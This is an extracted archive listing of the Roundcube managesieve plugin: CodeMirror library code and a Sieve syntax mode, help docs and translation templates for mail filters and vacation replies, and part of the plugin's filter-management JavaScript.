    CodeMirror.innerMode = innerMode;
    CodeMirror.commands = commands;
    CodeMirror.keyMap = keyMap;
    CodeMirror.keyName = keyName;
    CodeMirror.isModifierKey = isModifierKey;
    CodeMirror.lookupKey = lookupKey;
    CodeMirror.normalizeKeyMap = normalizeKeyMap;
    CodeMirror.StringStream = StringStream;
    CodeMirror.SharedTextMarker = SharedTextMarker;
    CodeMirror.TextMarker = TextMarker;
    CodeMirror.LineWidget = LineWidget;
    CodeMirror.e_preventDefault = e_preventDefault;
    CodeMirror.e_stopPropagation = e_stopPropagation;
    CodeMirror.e_stop = e_stop;
    CodeMirror.addClass = addClass;
    CodeMirror.contains = contains;
    CodeMirror.rmClass = rmClass;
    CodeMirror.keyNames = keyNames;
  }

  // EDITOR CONSTRUCTOR

  defineOptions(CodeMirror);

  addEditorMethods(CodeMirror);

  // Set up methods on CodeMirror's prototype to redirect to the editor's document.
  var dontDelegate = "iter insert remove copy getEditor constructor".split(" ");
  for (var prop in Doc.prototype) { if (Doc.prototype.hasOwnProperty(prop) && indexOf(dontDelegate, prop) < 0)
    { CodeMirror.prototype[prop] = (function(method) {
      return function() {return method.apply(this.doc, arguments)}
    })(Doc.prototype[prop]); } }

  eventMixin(Doc);
  CodeMirror.inputStyles = {"textarea": TextareaInput, "contenteditable": ContentEditableInput};

  // Extra arguments are stored as the mode's dependencies, which is
  // used by (legacy) mechanisms like loadmode.js to automatically
  // load a mode. (Preferred mechanism is the require/define calls.)
  CodeMirror.defineMode = function(name/*, mode, …*/) {
    if (!CodeMirror.defaults.mode && name != "null") { CodeMirror.defaults.mode = name; }
    defineMode.apply(this, arguments);
  };

  CodeMirror.defineMIME = defineMIME;

  // Minimal default mode.
  CodeMirror.defineMode("null", function () { return ({token: function (stream) { return stream.skipToEnd(); }}); });
  CodeMirror.defineMIME("text/plain", "null");

  // EXTENSIONS

  CodeMirror.defineExtension = function (name, func) {
    CodeMirror.prototype[name] = func;
  };
  CodeMirror.defineDocExtension = function (name, func) {
    Doc.prototype[name] = func;
  };

  CodeMirror.fromTextArea = fromTextArea;

  addLegacyProps(CodeMirror);

  CodeMirror.version = "5.58.3";

  return CodeMirror;

})));
PKh�\2��E'	'	4plugins/managesieve/codemirror/mode/sieve/index.htmlnu�[���<!doctype html>

<title>CodeMirror: Sieve (RFC5228) mode</title>
<meta charset="utf-8"/>
<link rel=stylesheet href="../../doc/docs.css">

<link rel="stylesheet" href="../../lib/codemirror.css">
<script src="../../lib/codemirror.js"></script>
<script src="sieve.js"></script>
<style>.CodeMirror {background: #f8f8f8;}</style>
<div id=nav>
  <a href="https://codemirror.net"><h1>CodeMirror</h1><img id=logo src="../../doc/logo.png" alt=""></a>

  <ul>
    <li><a href="../../index.html">Home</a>
    <li><a href="../../doc/manual.html">Manual</a>
    <li><a href="https://github.com/codemirror/codemirror">Code</a>
  </ul>
  <ul>
    <li><a href="../index.html">Language modes</a>
    <li><a class=active href="#">Sieve (RFC5228)</a>
  </ul>
</div>

<article>
<h2>Sieve (RFC5228) mode</h2>
<form><textarea id="code" name="code">
#
# Example Sieve Filter
# Declare any optional features or extension used by the script
#

require ["fileinto", "reject"];

#
# Reject any large messages (note that the four leading dots get
# "stuffed" to three)
#
if size :over 1M
{
  reject text:
Please do not send me large attachments.
Put your file on a server and send me the URL.
Thank you.
.... Fred
.
;
  stop;
}

#
# Handle messages from known mailing lists
# Move messages from IETF filter discussion list to filter folder
#
if header :is "Sender" "owner-ietf-mta-filters@imc.org"
{
  fileinto "filter";  # move to "filter" folder
}
#
# Keep all messages to or from people in my company
#
elsif address :domain :is ["From", "To"] "example.com"
{
  keep;               # keep in "In" folder
}

#
# Try and catch unsolicited email.  If a message is not to me,
# or it contains a subject known to be spam, file it away.
#
elsif anyof (not address :all :contains
               ["To", "Cc", "Bcc"] "me@example.com",
             header :matches "subject"
               ["*make*money*fast*", "*university*dipl*mas*"])
{
  # If message header does not contain my address,
  # it's from a list.
  fileinto "spam";   # move to "spam" folder
}
else
{
  # Move all other (non-company) mail to "personal"
  # folder.
  fileinto "personal";
}
</textarea></form>
    <script>
      var editor = CodeMirror.fromTextArea(document.getElementById("code"), {});
    </script>

    <p><strong>MIME types defined:</strong> <code>application/sieve</code>.</p>

  </article>
PKh�\�w��2plugins/managesieve/codemirror/mode/sieve/sieve.jsnu�[���// CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMode("sieve", function(config) {
  function words(str) {
    var obj = {}, words = str.split(" ");
    for (var i = 0; i < words.length; ++i) obj[words[i]] = true;
    return obj;
  }

  var keywords = words("if elsif else stop require");
  var atoms = words("true false not");
  var indentUnit = config.indentUnit;

  function tokenBase(stream, state) {

    var ch = stream.next();
    if (ch == "/" && stream.eat("*")) {
      state.tokenize = tokenCComment;
      return tokenCComment(stream, state);
    }

    if (ch === '#') {
      stream.skipToEnd();
      return "comment";
    }

    if (ch == "\"") {
      state.tokenize = tokenString(ch);
      return state.tokenize(stream, state);
    }

    if (ch == "(") {
      state._indent.push("(");
      // add virtual angel wings so that editor behaves...
      // ...more sane incase of broken brackets
      state._indent.push("{");
      return null;
    }

    if (ch === "{") {
      state._indent.push("{");
      return null;
    }

    if (ch == ")")  {
      state._indent.pop();
      state._indent.pop();
    }

    if (ch === "}") {
      state._indent.pop();
      return null;
    }

    if (ch == ",")
      return null;

    if (ch == ";")
      return null;


    if (/[{}\(\),;]/.test(ch))
      return null;

    // 1*DIGIT "K" / "M" / "G"
    if (/\d/.test(ch)) {
      stream.eatWhile(/[\d]/);
      stream.eat(/[KkMmGg]/);
      return "number";
    }

    // ":" (ALPHA / "_") *(ALPHA / DIGIT / "_")
    if (ch == ":") {
      stream.eatWhile(/[a-zA-Z_]/);
      stream.eatWhile(/[a-zA-Z0-9_]/);

      return "operator";
    }

    stream.eatWhile(/\w/);
    var cur = stream.current();

    // "text:" *(SP / HTAB) (hash-comment / CRLF)
    // *(multiline-literal / multiline-dotstart)
    // "." CRLF
    if ((cur == "text") && stream.eat(":"))
    {
      state.tokenize = tokenMultiLineString;
      return "string";
    }

    if (keywords.propertyIsEnumerable(cur))
      return "keyword";

    if (atoms.propertyIsEnumerable(cur))
      return "atom";

    return null;
  }

  function tokenMultiLineString(stream, state)
  {
    state._multiLineString = true;
    // the first line is special it may contain a comment
    if (!stream.sol()) {
      stream.eatSpace();

      if (stream.peek() == "#") {
        stream.skipToEnd();
        return "comment";
      }

      stream.skipToEnd();
      return "string";
    }

    if ((stream.next() == ".")  && (stream.eol()))
    {
      state._multiLineString = false;
      state.tokenize = tokenBase;
    }

    return "string";
  }

  function tokenCComment(stream, state) {
    var maybeEnd = false, ch;
    while ((ch = stream.next()) != null) {
      if (maybeEnd && ch == "/") {
        state.tokenize = tokenBase;
        break;
      }
      maybeEnd = (ch == "*");
    }
    return "comment";
  }

  function tokenString(quote) {
    return function(stream, state) {
      var escaped = false, ch;
      while ((ch = stream.next()) != null) {
        if (ch == quote && !escaped)
          break;
        escaped = !escaped && ch == "\\";
      }
      if (!escaped) state.tokenize = tokenBase;
      return "string";
    };
  }

  return {
    startState: function(base) {
      return {tokenize: tokenBase,
              baseIndent: base || 0,
              _indent: []};
    },

    token: function(stream, state) {
      if (stream.eatSpace())
        return null;

      return (state.tokenize || tokenBase)(stream, state);
    },

    indent: function(state, _textAfter) {
      var length = state._indent.length;
      if (_textAfter && (_textAfter[0] == "}"))
        length--;

      if (length <0)
        length = 0;

      return length * indentUnit;
    },

    electricChars: "}"
  };
});

CodeMirror.defineMIME("application/sieve", "sieve");

});
PKh�\F�Ϣ��7plugins/managesieve/helpdocs/en_US/settings-filters.rstnu�[���.. index:: Filters
.. _settings-managesieve-filters:

*******
Filters
*******

Incoming mail is automatically processed by the server and handled/organized
according to defined criteria. For example you can tell the server to move the message to
specified folder, redirect it to another account, send a reply, discard, delete, etc.

Filtering is based on `Sieve <https://www.rfc-editor.org/info/rfc5228>`_ language, which means that under the hood
all filters are stored as a Sieve script on the server. This interface allows you to
define rules in easy way without the need to know the language.

Each filter definition has a name and set of rules and actions. Usually 
the number of definitions is unlimited and they can be grouped into sets
(scripts) for convenience.


Filter sets
-----------

Filter definitions can be grouped into sets. These can be activated or deactivated.
Depending on server configuration there can be none, one or more active sets
at the same time. They need to have a unique name.

New sets can be created as empty or as a copy of an existing set. It is also possible
to import them from a text file containing Sieve script. Sets in form of a script
can be also downloaded e.g. for backup or migration purposes.


Filter definition
-----------------

Every filter can be active or inactive, which is convenient if you want to
disable some actions temporarily.

Because filters are executed in specified order (from top to bottom as you see them on the list)
you can use drag-and-drop technique to rearrange filters on the list.

Every filter definition contains at least one rule and one action. Depending on server
capabilities a rule can be based e.g. on message headers, body, date or size.

A set of actions also depends on server capabilities. Most servers support:

* moving/copying messages to specified folder
* redirecting/copying messages to another account
* discarding messages with specified error message
* replying (vacation)
* deleting (ignoring) messages
* setting flags (e.g. marking as Read)

Note: Some actions stop filtering process, some do not. Use *Stop evaluating rules*
and *Keep message in Inbox* actions to have more control on this.
PKh�\�ņ��8plugins/managesieve/helpdocs/en_US/settings-vacation.rstnu�[���.. index:: Vacation
.. _settings-managesieve-vacation:

********
Vacation
********

The vacation autoresponder's purpose is to provide correspondents with
notification that the user is away for an extended period of time and that
they should not expect quick responses.

**Vacation** is used to respond to an incoming message with another message.

This interface is part of :ref:`settings-managesieve-filters` functionality
and provides a simple way to manage vacation responses.


Vacation message
----------------

To enable the autoresponder you have to set at least the response body and change
the status to *On*.

**Subject**
  Response subject is optional. By default the reply subject will be set
  to *Auto: <original subject>*

**Body**
  Response body. Here you put the reason of your absence or any other text
  that will be send to sender.

**Vacation start/end**
  These fields define when the vacation rule is active and are optional.

**Status**
  This field activates the rule. If you always use the same response body it is
  convenient to disable the vacation rule when it's not needed and enable again
  another time.

Advanced settings
-----------------

**Reply sender address**
  This is an email address that will be used as sender of the vacation reply.

**My email addresses**
  Normally the vacation response is send if recipient address of the incoming
  message is one of your addresses known to the server. Here you can add
  more addresses.

**Reply interval**
  This parameter defines how often the reply to the same sender is generated.
  When you receive a lot of messages from the same sender in short time,
  usually you don't want to reply to all of them. By default reply is send once a day.

**Incoming message action**
  This field defines an action taken on the incoming message. You can discard or keep
  it or redirect/copy to another account (so it can be handled by another person).
PKh�\�|*��4plugins/managesieve/helpdocs/po/settings-filters.potnu�[���# SOME DESCRIPTIVE TITLE.
# Copyright (C) 2015, roundcube.net
# This file is distributed under the same license as the Roundcube Webmail Help package.
# FIRST AUTHOR <EMAIL@ADDRESS>, YEAR.
#
#, fuzzy
msgid ""
msgstr ""
"Project-Id-Version: Roundcube Webmail Help 1.1\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2016-06-07 16:59\n"
"PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n"
"Last-Translator: FULL NAME <EMAIL@ADDRESS>\n"
"Language-Team: LANGUAGE <LL@li.org>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"

#: ../../en_US/_plugins/managesieve/settings-filters.rst:9
# cdb4a7c71e5343edb8015510da83a0b8
msgid "Filters"
msgstr ""

#: ../../en_US/_plugins/managesieve/settings-filters.rst:11
# 94cde05fc3f049e8911dffacfb9af0e5
msgid "Incoming mail is automatically processed by the server and handled/organized according to defined criteria. For example you can tell the server to move the message to specified folder, redirect it to another account, send a reply, discard, delete, etc."
msgstr ""

#: ../../en_US/_plugins/managesieve/settings-filters.rst:15
# c33e9a7b05f24fe59464ff2f1c9e10a5
msgid "Filtering is based on `Sieve <https://www.rfc-editor.org/info/rfc5228>`_ language, which means that under the hood all filters are stored as a Sieve script on the server. This interface allows you to define rules in easy way without the need to know the language."
msgstr ""

#: ../../en_US/_plugins/managesieve/settings-filters.rst:19
# 95eb7e571ec44698a474407092b6b79c
msgid "Each filter definition has a name and set of rules and actions. Usually the number of definitions is unlimited and they can be grouped into sets (scripts) for convenience."
msgstr ""

#: ../../en_US/_plugins/managesieve/settings-filters.rst:25
# aa2da905741247b9971687cd4fdb6a21
msgid "Filter sets"
msgstr ""

#: ../../en_US/_plugins/managesieve/settings-filters.rst:27
# dc9dbc4144034676a720caaf4379e4e3
msgid "Filter definitions can be grouped into sets. These can be activated or deactivated. Depending on server configuration there can be none, one or more active sets at the same time. They need to have a unique name."
msgstr ""

#: ../../en_US/_plugins/managesieve/settings-filters.rst:31
# 03f58cdba04c4282b867c792572a55e6
msgid "New sets can be created as empty or as a copy of an existing set. It is also possible to import them from a text file containing Sieve script. Sets in form of a script can be also downloaded e.g. for backup or migration purposes."
msgstr ""

#: ../../en_US/_plugins/managesieve/settings-filters.rst:37
# 9144e63ba44b476dadfcc84e33e72b86
msgid "Filter definition"
msgstr ""

#: ../../en_US/_plugins/managesieve/settings-filters.rst:39
# 602e3696b4bd4db5960351b5af0e72fd
msgid "Every filter can be active or inactive, which is convenient if you want to disable some actions temporarily."
msgstr ""

#: ../../en_US/_plugins/managesieve/settings-filters.rst:42
# 0f01b114450f4439b210f3831d66c534
msgid "Because filters are executed in specified order (from top to bottom as you see them on the list) you can use drag-and-drop technique to rearrange filters on the list."
msgstr ""

#: ../../en_US/_plugins/managesieve/settings-filters.rst:45
# 0a30f2aa835e430c9f9de2e446f4c311
msgid "Every filter definition contains at least one rule and one action. Depending on server capabilities a rule can be based e.g. on message headers, body, date or size."
msgstr ""

#: ../../en_US/_plugins/managesieve/settings-filters.rst:48
# d3b9c2df232c4cd891ec6ba4751e02cf
msgid "A set of actions also depends on server capabilities. Most servers support:"
msgstr ""

#: ../../en_US/_plugins/managesieve/settings-filters.rst:50
# 1ee77f36a88746e0809e903838314e5a
msgid "moving/copying messages to specified folder"
msgstr ""

#: ../../en_US/_plugins/managesieve/settings-filters.rst:51
# c2669d203d104753830a170af2ceffde
msgid "redirecting/copying messages to another account"
msgstr ""

#: ../../en_US/_plugins/managesieve/settings-filters.rst:52
# b04abf50eb1948518caff0c9f6d32ad4
msgid "discarding messages with specified error message"
msgstr ""

#: ../../en_US/_plugins/managesieve/settings-filters.rst:53
# 439873796de6457985088a206b449c5b
msgid "replying (vacation)"
msgstr ""

#: ../../en_US/_plugins/managesieve/settings-filters.rst:54
# 5b7bce17840647bdba48ffa944b30ec5
msgid "deleting (ignoring) messages"
msgstr ""

#: ../../en_US/_plugins/managesieve/settings-filters.rst:55
# a12f2f2bebe74c668b637be66352ddb7
msgid "setting flags (e.g. marking as Read)"
msgstr ""

#: ../../en_US/_plugins/managesieve/settings-filters.rst:57
# a19231cf44e64eeca67da4cd31b0303a
msgid "Note: Some actions stop filtering process, some do not. Use *Stop evaluating rules* and *Keep message in Inbox* actions to have more control on this."
msgstr ""

PKh�\���&LL5plugins/managesieve/helpdocs/po/settings-vacation.potnu�[���# SOME DESCRIPTIVE TITLE.
# Copyright (C) 2015, roundcube.net
# This file is distributed under the same license as the Roundcube Webmail Help package.
# FIRST AUTHOR <EMAIL@ADDRESS>, YEAR.
#
#, fuzzy
msgid ""
msgstr ""
"Project-Id-Version: Roundcube Webmail Help 1.1\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2016-06-07 16:59\n"
"PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n"
"Last-Translator: FULL NAME <EMAIL@ADDRESS>\n"
"Language-Team: LANGUAGE <LL@li.org>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"

#: ../../en_US/_plugins/managesieve/settings-vacation.rst:9
# 6f1988e3ca10490f8b46fdf11ce3553a
msgid "Vacation"
msgstr ""

#: ../../en_US/_plugins/managesieve/settings-vacation.rst:11
# 628c07bf4b424a039800ef834f891841
msgid "The vacation autoresponder's purpose is to provide correspondents with notification that the user is away for an extended period of time and that they should not expect quick responses."
msgstr ""

#: ../../en_US/_plugins/managesieve/settings-vacation.rst:15
# 57607d8b841b42859d3bb4e6abc4d653
msgid "**Vacation** is used to respond to an incoming message with another message."
msgstr ""

#: ../../en_US/_plugins/managesieve/settings-vacation.rst:17
# 34f46a208d324588906b0d3d10a6176c
msgid "This interface is part of :ref:`settings-managesieve-filters` functionality and provides a simple way to manage vacation responses."
msgstr ""

#: ../../en_US/_plugins/managesieve/settings-vacation.rst:22
# 895cd4752ec649bc87850eb4bd149853
msgid "Vacation message"
msgstr ""

#: ../../en_US/_plugins/managesieve/settings-vacation.rst:24
# 5de6ddf9931a481e9d1c9953183b28d8
msgid "To enable the autoresponder you have to set at least the response body and change the status to *On*."
msgstr ""

#: ../../en_US/_plugins/managesieve/settings-vacation.rst:28
# c4790be6b0454aa190190c1e77087414
msgid "Response subject is optional. By default the reply subject will be set to *Auto: <original subject>*"
msgstr ""

#: ../../en_US/_plugins/managesieve/settings-vacation.rst:32
# 65eb9d5c2f8d4a8cb3077c824ecf597f
msgid "Response body. Here you put the reason of your absence or any other text that will be send to sender."
msgstr ""

#: ../../en_US/_plugins/managesieve/settings-vacation.rst:36
# 2b05975ad2ee40e9b64356eb39308a92
msgid "These fields define when the vacation rule is active and are optional."
msgstr ""

#: ../../en_US/_plugins/managesieve/settings-vacation.rst:39
# 575bd1430cdf4ea4bbcfb9d8556393bc
msgid "This field activates the rule. If you always use the same response body it is convenient to disable the vacation rule when it's not needed and enable again another time."
msgstr ""

#: ../../en_US/_plugins/managesieve/settings-vacation.rst:44
# 22d533b9cffd47d39c04cbca07d9513d
msgid "Advanced settings"
msgstr ""

#: ../../en_US/_plugins/managesieve/settings-vacation.rst:47
# d56d3eac661f41799e4538be4d2806cd
msgid "This is an email address that will be used as sender of the vacation reply."
msgstr ""

#: ../../en_US/_plugins/managesieve/settings-vacation.rst:50
# f2c3d5d2e05c4147bdca65d3b12acdf4
msgid "Normally the vacation response is send if recipient address of the incoming message is one of your addresses known to the server. Here you can add more addresses."
msgstr ""

#: ../../en_US/_plugins/managesieve/settings-vacation.rst:55
# 9b1ee71a799d43ebb8cef4a2555a7b83
msgid "This parameter defines how often the reply to the same sender is generated. When you receive a lot of messages from the same sender in short time, usually you don't want to reply to all of them. By default reply is send once a day."
msgstr ""

#: ../../en_US/_plugins/managesieve/settings-vacation.rst:60
# 8ce4de76e26543f1be25dedb372ce296
msgid "This field defines an action taken on the incoming message. You can discard or keep it or redirect/copy to another account (so it can be handled by another person)."
msgstr ""

PKh�\�����"plugins/managesieve/managesieve.jsnu�[���/**
 * (Manage)Sieve Filters plugin
 *
 * @licstart  The following is the entire license notice for the
 * JavaScript code in this file.
 *
 * Copyright (c) The Roundcube Dev Team
 *
 * The JavaScript code in this page is free software: you can redistribute it
 * and/or modify it under the terms of the GNU General Public License
 * as published by the Free Software Foundation, either version 3 of
 * the License, or (at your option) any later version.
 *
 * @licend  The above is the entire license notice
 * for the JavaScript code in this file.
 */

if (window.rcmail) {
  rcmail.addEventListener('init', function(evt) {
    // add managesieve-create command to message_commands array,
    // so it's state will be updated on message selection/unselection
    if (rcmail.env.task == 'mail') {
      if (rcmail.env.action != 'show')
        rcmail.env.message_commands.push('managesieve-create');
      else
        rcmail.enable_command('managesieve-create', true);
    }

    if (rcmail.env.task == 'mail' || rcmail.env.action.startsWith('plugin.managesieve')) {
      // Create layer for form tips
      if (!rcmail.env.framed) {
        rcmail.env.ms_tip_layer = $('<div id="managesieve-tip" class="popupmenu"></div>');
        rcmail.env.ms_tip_layer.appendTo(document.body);
      }
    }

    // register commands
    rcmail.register_command('plugin.managesieve-save', function() { rcmail.managesieve_save() });
    rcmail.register_command('plugin.managesieve-act', function() { rcmail.managesieve_act() });
    rcmail.register_command('plugin.managesieve-add', function() { rcmail.managesieve_add() });
    rcmail.register_command('plugin.managesieve-del', function() { rcmail.managesieve_del() });
    rcmail.register_command('plugin.managesieve-move', function() { rcmail.managesieve_move() });
    rcmail.register_command('plugin.managesieve-setadd', function() { rcmail.managesieve_setadd() });
    rcmail.register_command('plugin.managesieve-setdel', function() { rcmail.managesieve_setdel() });
    rcmail.register_command('plugin.managesieve-setact', function() { rcmail.managesieve_setact() });
    rcmail.register_command('plugin.managesieve-setget', function() { rcmail.managesieve_setget() });
    rcmail.register_command('plugin.managesieve-seteditraw', function() { rcmail.managesieve_seteditraw() });

    if (rcmail.env.action.startsWith('plugin.managesieve')) {
      if (rcmail.gui_objects.sieveform) {
        rcmail.enable_command('plugin.managesieve-save', true);
        sieve_form_init();
      }
      else if (rcmail.gui_objects.sievesetrawform) {
        rcmail.enable_command('plugin.managesieve-save', true);
        sieve_raw_editor_init();
      }
      else {
        rcmail.enable_command('plugin.managesieve-add', !rcmail.env.sieveconnerror && $.inArray('new_filter', rcmail.env.managesieve_disabled_actions) == -1);
        rcmail.enable_command('plugin.managesieve-setadd', !rcmail.env.sieveconnerror && $.inArray('new_set', rcmail.env.managesieve_disabled_actions) == -1);
      }

      var setcnt, set = rcmail.env.currentset;

      if (rcmail.gui_objects.filterslist) {
        rcmail.filters_list = new rcube_list_widget(rcmail.gui_objects.filterslist,
          {multiselect:false, draggable:true, keyboard:true});

        rcmail.filters_list
          .addEventListener('select', function(o) { rcmail.managesieve_select(o); })
          .addEventListener('keypress', function(o) { rcmail.list_keypress(o, {del: 'plugin.managesieve-del'}); })
          .addEventListener('dragstart', function(o) { rcmail.managesieve_dragstart(o); })
          .addEventListener('dragend', function(o) { rcmail.managesieve_dragend(o); })
          .addEventListener('initrow', function(row) {
            row.obj.onmouseover = function() { rcmail.managesieve_focus_filter(row); };
            row.obj.onmouseout = function() { rcmail.managesieve_unfocus_filter(row); };
          })
          .init();
      }

      if (rcmail.gui_objects.filtersetslist) {
        rcmail.filtersets_list = new rcube_list_widget(rcmail.gui_objects.filtersetslist,
          {multiselect:false, draggable:false, keyboard:true});

        rcmail.filtersets_list.init().focus();

        if (set != null) {
          $('#filterset-name').text(set);
          set = rcmail.managesieve_setid(set);
          rcmail.filtersets_list.select(set);
        }

        // attach select event after initial record was selected
        rcmail.filtersets_list.addEventListener('select', function(e) { rcmail.managesieve_setselect(e); });

        setcnt = rcmail.filtersets_list.rowcount;
        rcmail.enable_command('plugin.managesieve-set', true);
        rcmail.enable_command('plugin.managesieve-setact', setcnt > 0 && $.inArray('enable_disable_set', rcmail.env.managesieve_disabled_actions) == -1);
        rcmail.enable_command('plugin.managesieve-setget', setcnt > 0 && $.inArray('download_set', rcmail.env.managesieve_disabled_actions) == -1);
        rcmail.enable_command('plugin.managesieve-setdel', setcnt > 1 && $.inArray('delete_set', rcmail.env.managesieve_disabled_actions) == -1);
        rcmail.enable_command('plugin.managesieve-seteditraw', setcnt > 0 && rcmail.env.raw_sieve_editor);

        // Fix dragging filters over sets list
        $('tr', rcmail.gui_objects.filtersetslist).each(function (i, e) { rcmail.managesieve_fixdragend(e); });
      }
    }
  });
};

/*********************************************************/
/*********       Managesieve UI methods          *********/
/*********************************************************/

rcube_webmail.prototype.managesieve_add = function()
{
  this.load_managesieveframe('_nav=hide', true);
};

rcube_webmail.prototype.managesieve_del = function()
{
  var id = this.filters_list.get_single_selection();
  this.confirm_dialog(this.get_label('managesieve.filterdeleteconfirm'), 'delete', function(e, ref) {
      var post = '_act=delete&_fid=' + ref.filters_list.rows[id].uid,
        lock = ref.set_busy(true, 'loading');

      ref.http_post('plugin.managesieve-action', post, lock);
    });
};

rcube_webmail.prototype.managesieve_act = function()
{
  var id = this.filters_list.get_single_selection(),
    lock = this.set_busy(true, 'loading');

  this.http_post('plugin.managesieve-action',
    '_act=act&_fid='+this.filters_list.rows[id].uid, lock);
};

// Filter selection
rcube_webmail.prototype.managesieve_select = function(list)
{
  var id = list.get_single_selection();

  if (id != null) {
    id = list.rows[id].uid;
    this.load_managesieveframe('_fid=' + id);
  }

  var has_id = typeof(id) != 'undefined' && id != null;

  this.enable_command('plugin.managesieve-act', has_id);
  this.enable_command('plugin.managesieve-del', has_id && $.inArray('delete_filter', rcmail.env.managesieve_disabled_actions) == -1);
};

// Set selection
rcube_webmail.prototype.managesieve_setselect = function(list)
{
  this.enable_command('plugin.managesieve-setdel', list.rowcount > 1 && $.inArray('delete_set', rcmail.env.managesieve_disabled_actions) == -1);
  this.enable_command('plugin.managesieve-setact', list.rowcount > 0 && $.inArray('enable_disable_set', rcmail.env.managesieve_disabled_actions) == -1);
  this.enable_command('plugin.managesieve-setget', list.rowcount > 0 && $.inArray('delete_set', rcmail.env.managesieve_disabled_actions) == -1);
  this.enable_command('plugin.managesieve-seteditraw', list.rowcount > 0 && this.env.raw_sieve_editor);

 if (rcmail.env.contextmenu_opening)
   return;

  this.show_contentframe(false);
  this.filters_list.clear(true);

  var id = list.get_single_selection();
  if (id != null) {
    this.managesieve_list(this.env.filtersets[id]);
    $('#filterset-name').text(this.env.filtersets[id]);
  }
};

rcube_webmail.prototype.managesieve_rowid = function(id)
{
  var i, rows = this.filters_list.rows;

  for (i in rows)
    if (rows[i] != null && rows[i].uid == id)
      return i;
};

// Returns set's identifier
rcube_webmail.prototype.managesieve_setid = function(name)
{
  for (var i in this.env.filtersets)
    if (this.env.filtersets[i] == name)
      return i;
};

// Filters listing request
rcube_webmail.prototype.managesieve_list = function(script)
{
  var lock = this.set_busy(true, 'loading');

  this.http_post('plugin.managesieve-action', '_act=list&_set='+urlencode(script), lock);
};

// Script download request
rcube_webmail.prototype.managesieve_setget = function()
{
  var id = this.filtersets_list.get_single_selection(),
    script = this.env.filtersets[id];

  this.goto_url('plugin.managesieve-action', {_act: 'setget', _set: script}, false, true);
};

// Set activate/deactivate request
rcube_webmail.prototype.managesieve_setact = function()
{
  var id = this.filtersets_list.get_single_selection(),
   lock = this.set_busy(true, 'loading'),
    script = this.env.filtersets[id],
    action = $('#rcmrow'+id).hasClass('disabled') ? 'setact' : 'deact';

  this.http_post('plugin.managesieve-action', '_act='+action+'&_set='+urlencode(script), lock);
};

// Set delete request
rcube_webmail.prototype.managesieve_setdel = function()
{
  var id = this.filtersets_list.get_single_selection();
  this.confirm_dialog(this.get_label('managesieve.setdeleteconfirm'), 'delete', function(e, ref) {
      var script = ref.env.filtersets[id],
        lock = ref.set_busy(true, 'loading');

      ref.http_post('plugin.managesieve-action', '_act=setdel&_set=' + urlencode(script), lock);
    });
};

// Set edit raw request
rcube_webmail.prototype.managesieve_seteditraw = function()
{
  var id = this.filtersets_list.get_single_selection(),
    script = this.env.filtersets[id];

  this.load_managesieveframe('_nav=hide&_seteditraw=1&_set=' + urlencode(script), true);
};

// Set add request
rcube_webmail.prototype.managesieve_setadd = function()
{
  this.load_managesieveframe('_nav=hide&_newset=1', true);
};

rcube_webmail.prototype.managesieve_updatelist = function(action, o)
{
  this.set_busy(true);

  switch (action) {
    // Delete filter row
    case 'del':
      var id = o.id, list = this.filters_list;

      list.remove_row(this.managesieve_rowid(o.id));
      this.show_contentframe(false);
      this.reset_filters_list();

      // filter identifiers changed, fix the list
      $('tr', this.filters_list.list).each(function() {
        // remove hidden (deleted) rows
        if (this.style.display == 'none') {
          $(this).detach();
          return;
        }

        var rowid = this.id.substr(6);

        // remove all attached events
        $(this).off();

        // update row id
        if (rowid > id) {
          this.uid = String(rowid - 1);
          $(this).attr('id', 'rcmrow' + this.uid);
        }
      });
      list.init();

      break;

    // Update filter row
    case 'update':
      var i, row = $('#rcmrow'+this.managesieve_rowid(o.id));

      if (o.name)
        $('td', row).text(o.name);
      if (o.disabled)
        row.addClass('disabled');
      else
        row.removeClass('disabled');

      $('#fenabled', $('iframe').contents()).prop('checked', !o.disabled);

      break;

    // Add filter row to the list
    case 'add':
      var list = this.filters_list,
        row = $('<tr><td class="name"></td></tr>');

      $('td', row).text(o.name);
      row.attr('id', 'rcmrow'+o.id);
      if (o.disabled)
        row.addClass('disabled');

      list.insert_row(row.get(0));
      list.highlight_row(o.id);

      this.enable_command('plugin.managesieve-del', $.inArray('delete_rule', rcmail.env.managesieve_disabled_actions) == -1);
      this.enable_command('plugin.managesieve-act', true);

      break;

    // Filling rules list
    case 'list':
      var i, tr, td, el, list = this.filters_list;

      if (o.clear)
        list.clear();

      for (i in o.list) {
        el = o.list[i];
        tr = document.createElement('TR');
        td = document.createElement('TD');

        $(td).text(el.name);
        td.className = 'name';
        tr.id = 'rcmrow' + el.id;
        if (el['class'])
            tr.className = el['class'];
        tr.appendChild(td);

        list.insert_row(tr);
      }

      if (o.set)
        list.highlight_row(o.set);
      else
        this.enable_command('plugin.managesieve-del', 'plugin.managesieve-act', false);

      break;

    // Activate/Deactivate the set
    case 'setact':
      var id = this.managesieve_setid(o.name), row = $('#rcmrow' + id);
      if (o.active) {
        if (o.all)
          $('tr', this.gui_objects.filtersetslist).addClass('disabled');
        row.removeClass('disabled');
      }
      else
        row.addClass('disabled');

      break;

    // Delete set row
    case 'setdel':
      var id = this.managesieve_setid(o.name);

      this.filters_list.clear();
      this.show_contentframe(false);
      this.enable_command('plugin.managesieve-setdel', 'plugin.managesieve-setact',
        'plugin.managesieve-setget', 'plugin.managesieve-seteditraw', false);

      this.filtersets_list.remove_row(id, true);
      delete this.env.filtersets[id];
      break;

    // Create set row
    case 'setadd':
      var id = 'S' + new Date().getTime(),
        list = this.filtersets_list,
        row = $('<tr class="disabled"><td class="name"></td></tr>');

      $('td', row).text(o.name);
      row.attr('id', 'rcmrow'+id);

      this.env.filtersets[id] = o.name;
      list.insert_row(row.get(0));

      // move row into its position on the list
      if (o.index != list.rowcount-1) {
        row.detach();
